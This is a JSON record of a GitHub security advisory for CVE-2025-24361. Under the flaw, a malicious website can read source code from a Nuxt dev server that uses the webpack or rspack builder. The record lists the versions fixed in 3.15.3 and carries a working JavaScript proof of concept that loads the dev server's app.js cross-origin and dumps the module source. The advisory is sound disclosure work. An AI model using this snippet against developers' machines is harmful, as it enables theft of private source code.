{"id":"GHSA-4gf7-ff8x-hq99","revision":"717bbb8f2f96404e80ee7f0e607383d7","records":[{"revision":"717bbb8f2f96404e80ee7f0e607383d7","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-4gf7-ff8x-hq99","aliases":["CVE-2025-24361"],"title":"Opening a malicious website while running a Nuxt dev server could allow read-only access to code","description":"### Summary\nSource code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.\n\n### Details\nBecause the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src=\"http://localhost:3000/_nuxt/app.js\">` in their site and run the script.\nBy using `Function::toString` against the values in `window.webpackChunknuxt_app`, the attacker can get the source code.\n\n### PoC\n1. Create a nuxt project with webpack / rspack builder.\n1. Run `npm run dev`\n1. Open `http://localhost:3000`\n1. Run the script below in a web site that has a different origin.\n1. You can see the source code output in the document and the devtools console.\n\n```js\nconst script = document.createElement('script')\nscript.src = 'http://localhost:3000/_nuxt/app.js'\nscript.addEventListener('load', () => {\n  for (const page in window.webpackChunknuxt_app) {\n    const moduleList = window.webpackChunknuxt_app[page][1]\n    console.log(moduleList)\n\n    for (const key in moduleList) {\n      const p = document.createElement('p')\n      const title = document.createElement('strong')\n      title.textContent = key\n      const code = document.createElement('code')\n      code.textContent = moduleList[key].toString()\n      p.append(title, ':', document.createElement('br'), code)\n      document.body.appendChild(p)\n    }\n  }\n})\ndocument.head.appendChild(script)\n```\n\n![image](https://github.com/user-attachments/assets/201e39b7-da5c-4359-867f-96c9adfd3c85)\nIt contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the `sourcesContent` field).\n\n### Impact\nUsers using webpack / rspack builder may get the source code stolen by malicious websites.\n","state":0,"publishedAt":"2025-01-27T11:31:41+00:00","modifiedAt":"2026-07-08T08:14:39.9367004+00:00","affected":[{"ecosystem":"npm","name":"@nuxt/webpack-builder","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.0.0"},{"kind":"fixed","version":"3.15.3"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"@nuxt/rspack-builder","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.12.2"},{"kind":"fixed","version":"3.15.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99","https://nvd.nist.gov/vuln/detail/CVE-2025-24361","https://github.com/nuxt/nuxt/commit/7eeb910bf4accb1e0193b9178c746f06ad3dd88f","https://github.com/nuxt/nuxt"],"sourceUrl":"https://github.com/advisories/GHSA-4gf7-ff8x-hq99","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-4gf7-ff8x-hq99","identifiers":["GHSA-4gf7-ff8x-hq99","CVE-2025-24361"]},"retained":false,"historicalAffected":[]}],"coverage":[]}